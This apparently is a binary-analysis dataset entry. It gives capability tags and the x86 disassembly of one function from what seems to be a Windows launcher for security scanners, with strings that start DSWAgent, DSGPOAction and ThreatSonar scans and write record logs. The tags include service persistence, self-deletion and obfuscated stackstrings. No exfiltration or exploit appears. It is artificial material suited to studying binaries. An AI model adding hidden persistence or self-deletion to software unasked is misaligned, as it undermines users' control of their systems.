Function at 0x40cf10
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Get session user name
Get user security identifier
Persist via windows service
Self delete
Set registry value

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x47c4d2
mov eax, dword fs:[0]
push eax
push ebx
mov eax, 0x3958
call fcn.00456720
mov eax, dword [0x49e0c4]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0xb8
lea eax, [ebp - 0x3870]
push 0
push eax
call fcn.00457cb0
add esp, 8
lea ecx, [ebp - 0x3870]
call fcn.00412df0
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x36f0]
push 0
mov dword [ebp - 0x36f0], 0
push 0x494ccb
mov dword [ebp - 0x36e0], 0
mov dword [ebp - 0x36dc], 0xf
mov byte [ebp - 0x36f0], 0
call fcn.004141b0
mov byte [ebp - 4], 1
mov ax, word [0x494d30]
push 0x7fe
mov word [ebp - 0x2620], ax
lea eax, [ebp - 0x261e]
push 0
push eax
call fcn.00457cb0
add esp, 0xc
mov dword [ebp - 0x36a8], 0x101
mov dword [ebp - 0x36a4], 0x400
mov dword [ebp - 0x36a0], 0x400
push 0x800
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push 0
mov dword [ebp - 0x3874], eax
call fcn.0045d2e7
add esp, 4
mov dword [ebp - 0x34f8], eax
lea eax, [ebp - 0x34f8]
mov dword [ebp - 0x34f4], edx
push eax
lea eax, [ebp - 0x360c]
push eax
call fcn.0045abfd
lea eax, [ebp - 0x360c]
push eax
push str._F__X
lea eax, [ebp - 0x38]
push 0x64
push eax
call fcn.0045b33a
lea ecx, [ebp - 0x38]
add esp, 0x18
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40d055
sub ecx, edx
lea eax, [ebp - 0x38]
push ecx
push eax
mov ecx, 0x49eaec
call fcn.004141b0
mov ecx, dword [0x49eafc]
mov edi, accept
mov eax, edi
sub eax, ecx
cmp eax, 8
jb 0x41182a
cmp dword [0x49eb00], 0x10
mov eax, 0x49eaec
push ecx
cmovae eax, dword [0x49eaec]
push eax
push 8
push 0x494e24
push ecx
push dword [ebp - 0x37b8]
lea ecx, [ebp - 0x35b8]
call fcn.00415990
mov byte [ebp - 4], 2
mov edx, dword [ebp - 0x35a4]
mov eax, edx
mov ecx, dword [ebp - 0x35a8]
sub eax, ecx
push 0x27
push str.__Info__Scanner_V1.5.0.15____record.log
cmp eax, 0x27
jb 0x40d103
cmp edx, 0x10
lea esi, [ebp - 0x35b8]
lea eax, [ecx + 0x27]
cmovae esi, dword [ebp - 0x35b8]
add esi, ecx
mov dword [ebp - 0x35a8], eax
push esi
call fcn.00457730
add esp, 0xc
mov byte [esi + 0x27], 0
lea eax, [ebp - 0x35b8]
jmp 0x40d11d
mov byte [ebp - 0x34f4], 0
lea ecx, [ebp - 0x35b8]
push dword [ebp - 0x34f4]
push 0x27
call fcn.00415430
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x3724], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x3714], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 4
mov edx, dword [ebp - 0x35a4]
cmp edx, 0x10
jb 0x40d183
mov ecx, dword [ebp - 0x35b8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40d179
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41182f
push edx
push ecx
call fcn.004560c7
add esp, 8
lea eax, [ebp - 0x3724]
mov dword [ebp - 0x35a8], 0
push eax
lea ecx, [ebp - 0x3528]
mov dword [ebp - 0x35a4], 0xf
mov byte [ebp - 0x35b8], 0
call fcn.00413530
cmp dword [ebp - 0x3514], 0x10
lea eax, [ebp - 0x3528]
cmovae eax, dword [ebp - 0x3528]
push eax
lea eax, [ebp - 0x158]
push 0x100
push eax
call fcn.0045cd67
add esp, 0xc
lea ecx, [ebp - 0x158]
call fcn.00402330
mov edx, dword [ebp - 0x3514]
cmp edx, 0x10
jb 0x40d21e
mov ecx, dword [ebp - 0x3528]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40d214
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411834
push edx
push ecx
call fcn.004560c7
add esp, 8
cmp byte [0x4a0225], 0
push 0
je 0x40dd40
call fcn.0045d2e7
add esp, 4
mov dword [ebp - 0x34f8], eax
lea eax, [ebp - 0x34f8]
mov dword [ebp - 0x34f4], edx
push eax
lea eax, [ebp - 0x360c]
push eax
call fcn.0045abfd
lea eax, [ebp - 0x360c]
push eax
push str._F__X
lea eax, [ebp - 0x38]
push 0x64
push eax
call fcn.0045b33a
lea ecx, [ebp - 0x38]
add esp, 0x18
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40d274
sub ecx, edx
lea eax, [ebp - 0x38]
push ecx
push eax
mov ecx, 0x49eaec
call fcn.004141b0
mov ecx, dword [0x49eafc]
mov eax, edi
sub eax, ecx
cmp eax, 8
jb 0x411839
cmp dword [0x49eb00], 0x10
mov eax, 0x49eaec
push ecx
cmovae eax, dword [0x49eaec]
push eax
push 8
push 0x494e24
push ecx
push dword [ebp - 0x37b8]
lea ecx, [ebp - 0x3558]
call fcn.00415990
mov byte [ebp - 4], 5
mov edx, dword [ebp - 0x3544]
mov eax, edx
mov ecx, dword [ebp - 0x3548]
sub eax, ecx
push 0x27
push str.__Info__DragonSoft_01_25_____record.log
cmp eax, 0x27
jb 0x40d31d
cmp edx, 0x10
lea esi, [ebp - 0x3558]
lea eax, [ecx + 0x27]
cmovae esi, dword [ebp - 0x3558]
add esi, ecx
mov dword [ebp - 0x3548], eax
push esi
call fcn.00457730
add esp, 0xc
mov byte [esi + 0x27], 0
lea eax, [ebp - 0x3558]
jmp 0x40d337
mov byte [ebp - 0x34f4], 0
lea ecx, [ebp - 0x3558]
push dword [ebp - 0x34f4]
push 0x27
call fcn.00415430
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x3510], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x3500], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 7
mov edx, dword [ebp - 0x3544]
cmp edx, 0x10
jb 0x40d39d
mov ecx, dword [ebp - 0x3558]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40d393
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41183e
push edx
push ecx
call fcn.004560c7
add esp, 8
mov ecx, dword [0x49eafc]
mov eax, edi
sub eax, ecx
mov dword [ebp - 0x3548], 0
mov dword [ebp - 0x3544], 0xf
mov byte [ebp - 0x3558], 0
cmp eax, 8
jb 0x411843
cmp dword [0x49eb00], 0x10
mov eax, 0x49eaec
push ecx
cmovae eax, dword [0x49eaec]
push eax
push 8
push 0x494e24
push ecx
push dword [ebp - 0x37b8]
lea ecx, [ebp - 0x3540]
call fcn.00415990
mov byte [ebp - 4], 8
mov edx, dword [ebp - 0x352c]
mov eax, edx
mov ecx, dword [ebp - 0x3530]
sub eax, ecx
push 0x21
push str.__Info__Online_Mode____record.log
cmp eax, 0x21
jb 0x40d449
cmp edx, 0x10
lea esi, [ebp - 0x3540]
lea eax, [ecx + 0x21]
cmovae esi, dword [ebp - 0x3540]
add esi, ecx
mov dword [ebp - 0x3530], eax
push esi
call fcn.00457730
add esp, 0xc
mov byte [esi + 0x21], 0
lea eax, [ebp - 0x3540]
jmp 0x40d463
mov byte [ebp - 0x34f4], 0
lea ecx, [ebp - 0x3540]
push dword [ebp - 0x34f4]
push 0x21
call fcn.00415430
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x3708], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x36f8], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0xa
mov edx, dword [ebp - 0x352c]
cmp edx, 0x10
jb 0x40d4c9
mov ecx, dword [ebp - 0x3540]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40d4bf
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411848
push edx
push ecx
call fcn.004560c7
add esp, 8
mov ecx, dword [0x49eafc]
mov eax, edi
sub eax, ecx
mov dword [ebp - 0x3530], 0
mov dword [ebp - 0x352c], 0xf
mov byte [ebp - 0x3540], 0
cmp eax, 8
jb 0x41184d
cmp dword [0x49eb00], 0x10
mov eax, 0x49eaec
push ecx
cmovae eax, dword [0x49eaec]
push eax
push 8
push 0x494e24
push ecx
push dword [ebp - 0x37b8]
lea ecx, [ebp - 0x3558]
call fcn.00415990
mov byte [ebp - 4], 0xb
mov edx, dword [ebp - 0x3544]
mov eax, edx
mov ecx, dword [ebp - 0x3548]
sub eax, ecx
push 0x22
push str.__Info__Offline_Mode____record.log
cmp eax, 0x22
jb 0x40d575
cmp edx, 0x10
lea esi, [ebp - 0x3558]
lea eax, [ecx + 0x22]
cmovae esi, dword [ebp - 0x3558]
add esi, ecx
mov dword [ebp - 0x3548], eax
push esi
call fcn.00457730
add esp, 0xc
mov byte [esi + 0x22], 0
lea eax, [ebp - 0x3558]
jmp 0x40d58f
mov byte [ebp - 0x34f4], 0
lea ecx, [ebp - 0x3558]
push dword [ebp - 0x34f4]
push 0x22
call fcn.00415430
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x3588], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x3578], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0xd
mov edx, dword [ebp - 0x3544]
cmp edx, 0x10
jb 0x40d5f5
mov ecx, dword [ebp - 0x3558]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40d5eb
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411852
push edx
push ecx
call fcn.004560c7
add esp, 8
mov ecx, dword [0x49eb14]
mov eax, edi
sub eax, ecx
mov dword [ebp - 0x3548], 0
mov dword [ebp - 0x3544], 0xf
mov byte [ebp - 0x3558], 0
cmp eax, 0x1f
jb 0x411857
cmp dword [0x49eb18], 0x10
mov eax, 0x49eb04
push ecx
cmovae eax, dword [0x49eb04]
push eax
push 0x1f
push str._c_start__min_DSWAgent.exe__ip
push ecx
push dword [ebp - 0x37b8]
lea ecx, [ebp - 0x3540]
call fcn.00415990
mov byte [ebp - 4], 0xe
mov edx, dword [ebp - 0x352c]
mov eax, edx
mov ecx, dword [ebp - 0x3530]
sub eax, ecx
push 0x17
push str.__m_oneshot__k__nr__nsi
cmp eax, 0x17
jb 0x40d6a1
cmp edx, 0x10
lea esi, [ebp - 0x3540]
lea eax, [ecx + 0x17]
cmovae esi, dword [ebp - 0x3540]
add esi, ecx
mov dword [ebp - 0x3530], eax
push esi
call fcn.00457730
add esp, 0xc
mov byte [esi + 0x17], 0
lea eax, [ebp - 0x3540]
jmp 0x40d6bb
mov byte [ebp - 0x34f4], 0
lea ecx, [ebp - 0x3540]
push dword [ebp - 0x34f4]
push 0x17
call fcn.00415430
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x35a0], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x3590], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x10
mov edx, dword [ebp - 0x352c]
cmp edx, 0x10
jb 0x40d721
mov ecx, dword [ebp - 0x3540]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40d717
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41185c
push edx
push ecx
call fcn.004560c7
add esp, 8
mov ecx, dword [0x49ea54]
mov eax, edi
sub eax, ecx
mov dword [ebp - 0x3530], 0
mov dword [ebp - 0x352c], 0xf
mov byte [ebp - 0x3540], 0
cmp eax, 0x11
jb 0x411861
cmp dword [0x49ea58], 0x10
mov eax, 0x49ea44
push ecx
cmovae eax, dword [0x49ea44]
push eax
push 0x11
push str._c_start__min__w
push ecx
push dword [ebp - 0x37b8]
lea ecx, [ebp - 0x3558]
call fcn.00415990
mov byte [ebp - 4], 0x11
mov edx, dword [ebp - 0x3544]
mov eax, edx
mov ecx, dword [ebp - 0x3548]
sub eax, ecx
push 0x2b
push str.DSGPOAction.exe__a__act_GPOExport__report
cmp eax, 0x2b
jb 0x40d7cd
cmp edx, 0x10
lea esi, [ebp - 0x3558]
lea eax, [ecx + 0x2b]
cmovae esi, dword [ebp - 0x3558]
add esi, ecx
mov dword [ebp - 0x3548], eax
push esi
call fcn.00457730
add esp, 0xc
mov byte [esi + 0x2b], 0
lea eax, [ebp - 0x3558]
jmp 0x40d7e7
mov byte [ebp - 0x34f4], 0
lea ecx, [ebp - 0x3558]
push dword [ebp - 0x34f4]
push 0x2b
call fcn.00415430
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x3570], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x3560], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x13
mov edx, dword [ebp - 0x3544]
cmp edx, 0x10
jb 0x40d84d
mov ecx, dword [ebp - 0x3558]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40d843
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411866
push edx
push ecx
call fcn.004560c7
add esp, 8
lea eax, [ebp - 0x3510]
mov dword [ebp - 0x3548], 0
push eax
lea ecx, [ebp - 0x3528]
mov dword [ebp - 0x3544], 0xf
mov byte [ebp - 0x3558], 0
call fcn.00413530
cmp dword [ebp - 0x3514], 0x10
lea eax, [ebp - 0x3528]
cmovae eax, dword [ebp - 0x3528]
push eax
lea eax, [ebp - 0x158]
push 0x100
push eax
call fcn.0045cd67
add esp, 0xc
lea ecx, [ebp - 0x158]
call fcn.00402330
mov edx, dword [ebp - 0x3514]
cmp edx, 0x10
jb 0x40d8e8
mov ecx, dword [ebp - 0x3528]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40d8de
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41186b
push edx
push ecx
call fcn.004560c7
add esp, 8
cmp dword [0x49eb18], 0x10
mov edx, 7
mov esi, dword [0x49eb14]
mov ecx, 0x49eb04
cmovae ecx, dword [0x49eb04]
cmp esi, edx
cmova esi, edx
mov edx, str.X.X.X.X
sub esi, 4
jb 0x40d926
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x40d92b
add ecx, 4
add edx, 4
sub esi, 4
jae 0x40d915
cmp esi, 0xfffffffc
je 0x40d95f
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x40d958
cmp esi, 0xfffffffd
je 0x40d95f
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x40d958
cmp esi, 0xfffffffe
je 0x40d95f
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x40d958
cmp esi, 0xffffffff
je 0x40d95f
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x40d95f
sbb eax, eax
or eax, 1
jmp 0x40d961
xor eax, eax
test eax, eax
jne 0x40da7f
cmp dword [0x49eb14], 7
jb 0x40da7f
ja 0x40da7f
lea eax, [ebp - 0x3588]
push eax
lea ecx, [ebp - 0x3528]
call fcn.00413530
cmp dword [ebp - 0x3514], 0x10
lea eax, [ebp - 0x3528]
cmovae eax, dword [ebp - 0x3528]
push eax
lea eax, [ebp - 0x158]
push 0x100
push eax
call fcn.0045cd67
add esp, 0xc
lea ecx, [ebp - 0x158]
call fcn.00402330
mov edx, dword [ebp - 0x3514]
cmp edx, 0x10
jb 0x40d9fc
mov ecx, dword [ebp - 0x3528]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40d9f2
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411870
push edx
push ecx
call fcn.004560c7
add esp, 8
lea eax, [ebp - 0x3570]
push eax
lea ecx, [ebp - 0x3528]
call fcn.00413530
cmp dword [ebp - 0x3514], 0x10
lea eax, [ebp - 0x3528]
cmovae eax, dword [ebp - 0x3528]
push eax
lea eax, [ebp - 0x158]
push 0x100
push eax
call fcn.0045cd67
add esp, 0xc
lea ecx, [ebp - 0x158]
call fcn.00402330
mov edx, dword [ebp - 0x3514]
cmp edx, 0x10
jb 0x40db7f
mov ecx, dword [ebp - 0x3528]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40db75
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411875
jmp 0x40db75
lea eax, [ebp - 0x3708]
push eax
lea ecx, [ebp - 0x3528]
call fcn.00413530
cmp dword [ebp - 0x3514], 0x10
lea eax, [ebp - 0x3528]
cmovae eax, dword [ebp - 0x3528]
push eax
lea eax, [ebp - 0x158]
push 0x100
push eax
call fcn.0045cd67
add esp, 0xc
lea ecx, [ebp - 0x158]
call fcn.00402330
mov edx, dword [ebp - 0x3514]
cmp edx, 0x10
jb 0x40daff
mov ecx, dword [ebp - 0x3528]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40daf5
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41187a
push edx
push ecx
call fcn.004560c7
add esp, 8
lea eax, [ebp - 0x35a0]
push eax
lea ecx, [ebp - 0x3528]
call fcn.00413530
cmp dword [ebp - 0x3514], 0x10
lea eax, [ebp - 0x3528]
cmovae eax, dword [ebp - 0x3528]
push eax
lea eax, [ebp - 0x158]
push 0x100
push eax
call fcn.0045cd67
add esp, 0xc
lea ecx, [ebp - 0x158]
call fcn.00402330
mov edx, dword [ebp - 0x3514]
cmp edx, 0x10
jb 0x40db7f
mov ecx, dword [ebp - 0x3528]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40db75
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41187f
push edx
push ecx
call fcn.004560c7
add esp, 8
mov byte [ebp - 4], 0x10
mov edx, dword [ebp - 0x355c]
cmp edx, 0x10
jb 0x40dbbd
mov ecx, dword [ebp - 0x3570]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40dbb3
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4118b6
push edx
push ecx
call fcn.004560c7
add esp, 8
mov byte [ebp - 4], 0xd
mov edx, dword [ebp - 0x358c]
cmp edx, 0x10
jb 0x40dbfb
mov ecx, dword [ebp - 0x35a0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40dbf1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4118b6
push edx
push ecx
call fcn.004560c7
add esp, 8
mov byte [ebp - 4], 0xa
mov edx, dword [ebp - 0x3574]
cmp edx, 0x10
jb 0x40dc39
mov ecx, dword [ebp - 0x3588]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40dc2f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4118b6
push edx
push ecx
call fcn.004560c7
add esp, 8
mov byte [ebp - 4], 7
mov edx, dword [ebp - 0x36f4]
cmp edx, 0x10
jb 0x40dc77
mov ecx, dword [ebp - 0x3708]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40dc6d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4118b6
push edx
push ecx
call fcn.004560c7
add esp, 8
mov byte [ebp - 4], 4
mov edx, dword [ebp - 0x34fc]
cmp edx, 0x10
jb 0x40dcb5
mov ecx, dword [ebp - 0x3510]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40dcab
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4118b6
push edx
push ecx
call fcn.004560c7
add esp, 8
cmp byte [0x4a022a], 0
push 0
je 0x40e1a8
call fcn.0045d2e7
add esp, 4
mov dword [ebp - 0x34f8], eax
lea eax, [ebp - 0x34f8]
mov dword [ebp - 0x34f4], edx
push eax
lea eax, [ebp - 0x360c]
push eax
call fcn.0045abfd
lea eax, [ebp - 0x360c]
push eax
push str._F__X
lea eax, [ebp - 0x38]
push 0x64
push eax
call fcn.0045b33a
lea ecx, [ebp - 0x38]
add esp, 0x18
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40dd10
sub ecx, edx
lea eax, [ebp - 0x38]
push ecx
push eax
mov ecx, 0x49eaec
call fcn.004141b0
mov ecx, dword [0x49eafc]
mov eax, edi
sub eax, ecx
cmp eax, 8
jb 0x411884
jmp 0x40df4e
call fcn.0045d2e7
add esp, 4
mov dword [ebp - 0x34f8], eax
lea eax, [ebp - 0x34f8]
mov dword [ebp - 0x34f4], edx
push eax
lea eax, [ebp - 0x360c]
push eax
call fcn.0045abfd
lea eax, [ebp - 0x360c]
push eax
push str._F__X
lea eax, [ebp - 0x38]
push 0x64
push eax
call fcn.0045b33a
lea ecx, [ebp - 0x38]
add esp, 0x18
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40dd87
sub ecx, edx
lea eax, [ebp - 0x38]
push ecx
push eax
mov ecx, 0x49eaec
call fcn.004141b0
mov ecx, dword [0x49eafc]
mov eax, edi
sub eax, ecx
cmp eax, 8
jb 0x411889
cmp dword [0x49eb00], 0x10
mov eax, 0x49eaec
push ecx
cmovae eax, dword [0x49eaec]
push eax
push 8
push 0x494e24
push ecx
push dword [ebp - 0x37b8]
lea ecx, [ebp - 0x3540]
call fcn.00415990
mov byte [ebp - 4], 0x14
mov edx, dword [ebp - 0x352c]
mov eax, edx
mov ecx, dword [ebp - 0x3530]
sub eax, ecx
push 0x2f
push str.__Info__DragonSoft_01_25__Disable____record.log
cmp eax, 0x2f
jb 0x40de30
cmp edx, 0x10
lea esi, [ebp - 0x3540]
lea eax, [ecx + 0x2f]
cmovae esi, dword [ebp - 0x3540]
add esi, ecx
mov dword [ebp - 0x3530], eax
push esi
call fcn.00457730
add esp, 0xc
mov byte [esi + 0x2f], 0
lea eax, [ebp - 0x3540]
jmp 0x40de4a
mov byte [ebp - 0x34f4], 0
lea ecx, [ebp - 0x3540]
push dword [ebp - 0x34f4]
push 0x2f
call fcn.00415430
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x3510], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x3500], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x16
mov edx, dword [ebp - 0x352c]
cmp edx, 0x10
jb 0x40deb0
mov ecx, dword [ebp - 0x3540]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40dea6
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41188e
push edx
push ecx
call fcn.004560c7
add esp, 8
lea eax, [ebp - 0x3510]
mov dword [ebp - 0x3530], 0
push eax
lea ecx, [ebp - 0x3528]
mov dword [ebp - 0x352c], 0xf
mov byte [ebp - 0x3540], 0
call fcn.00413530
cmp dword [ebp - 0x3514], 0x10
lea eax, [ebp - 0x3528]
cmovae eax, dword [ebp - 0x3528]
push eax
lea eax, [ebp - 0x158]
push 0x100
push eax
call fcn.0045cd67
add esp, 0xc
lea ecx, [ebp - 0x158]
call fcn.00402330
mov edx, dword [ebp - 0x3514]
cmp edx, 0x10
jb 0x40dc77
mov ecx, dword [ebp - 0x3528]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40dc6d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411893
jmp 0x40dc6d
cmp dword [0x49eb00], 0x10
mov eax, 0x49eaec
push ecx
cmovae eax, dword [0x49eaec]
push eax
push 8
push 0x494e24
push ecx
push dword [ebp - 0x37b8]
lea ecx, [ebp - 0x3540]
call fcn.00415990
mov byte [ebp - 4], 0x17
mov edx, dword [ebp - 0x352c]
mov eax, edx
mov ecx, dword [ebp - 0x3530]
sub eax, ecx
push 0x28
push str.__Info__ThreatSonar_02_25_____record.log
cmp eax, 0x28
jb 0x40dfcc
cmp edx, 0x10
lea esi, [ebp - 0x3540]
lea eax, [ecx + 0x28]
cmovae esi, dword [ebp - 0x3540]
add esi, ecx
mov dword [ebp - 0x3530], eax
push esi
call fcn.00457730
add esp, 0xc
mov byte [esi + 0x28], 0
lea eax, [ebp - 0x3540]
jmp 0x40dfe6
mov byte [ebp - 0x34f4], 0
lea ecx, [ebp - 0x3540]
push dword [ebp - 0x34f4]
push 0x28
call fcn.00415430
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x3510], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x3500], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x19
mov edx, dword [ebp - 0x352c]
cmp edx, 0x10
jb 0x40e04c
mov ecx, dword [ebp - 0x3540]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40e042
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411898
push edx
push ecx
call fcn.004560c7
add esp, 8
lea eax, [ebp - 0x3510]
mov dword [ebp - 0x3530], 0
push eax
lea ecx, [ebp - 0x3528]
mov dword [ebp - 0x352c], 0xf
mov byte [ebp - 0x3540], 0
call fcn.00413530
cmp dword [ebp - 0x3514], 0x10
lea eax, [ebp - 0x3528]
cmovae eax, dword [ebp - 0x3528]
push eax
lea eax, [ebp - 0x158]
push 0x100
push eax
call fcn.0045cd67
add esp, 0xc
lea ecx, [ebp - 0x158]
call fcn.00402330
mov edx, dword [ebp - 0x3514]
cmp edx, 0x10
jb 0x40e0e7
mov ecx, dword [ebp - 0x3528]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40e0dd
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41189d
push edx
push ecx
call fcn.004560c7
add esp, 8
mov ecx, str._c_start__w_ThreatSonar.exe
call fcn.00402330
mov byte [ebp - 4], 4
mov edx, dword [ebp - 0x34fc]
cmp edx, 0x10
jb 0x40e12f
mov ecx, dword [ebp - 0x3510]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40e125
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4118b6
push edx
push ecx
call fcn.004560c7
add esp, 8
push 0
call fcn.0045d2e7
add esp, 4
mov dword [ebp - 0x34f8], eax
lea eax, [ebp - 0x34f8]
mov dword [ebp - 0x34f4], edx
push eax
lea eax, [ebp - 0x360c]
push eax
call fcn.0045abfd
lea eax, [ebp - 0x360c]
push eax
push str._F__X
lea eax, [ebp - 0x38]
push 0x64
push eax
call fcn.0045b33a
lea ecx, [ebp - 0x38]
add esp, 0x18
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40e178
sub ecx, edx
lea eax, [ebp - 0x38]
push ecx
push eax
mov ecx, 0x49eaec
call fcn.004141b0
mov ecx, dword [0x49eafc]
mov eax, edi
sub eax, ecx
cmp eax, 8
jb 0x4118a2
jmp 0x40e3f5
call fcn.0045d2e7
add esp, 4
mov dword [ebp - 0x34f8], eax
lea eax, [ebp - 0x34f8]
mov dword [ebp - 0x34f4], edx
push eax
lea eax, [ebp - 0x360c]
push eax
call fcn.0045abfd
lea eax, [ebp - 0x360c]
push eax
push str._F__X
lea eax, [ebp - 0x38]
push 0x64
push eax
call fcn.0045b33a
lea ecx, [ebp - 0x38]
add esp, 0x18
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40e1f0
sub ecx, edx
lea eax, [ebp - 0x38]
push ecx
push eax
mov ecx, 0x49eaec
call fcn.004141b0
mov ecx, dword [0x49eafc]
mov eax, edi
sub eax, ecx
cmp eax, 8
jb 0x4118a7
cmp dword [0x49eb00], 0x10
mov eax, 0x49eaec
push ecx
cmovae eax, dword [0x49eaec]
push eax
push 8
push 0x494e24
push ecx
push dword [ebp - 0x37b8]
lea ecx, [ebp - 0x3540]
call fcn.00415990
mov byte [ebp - 4], 0x1a
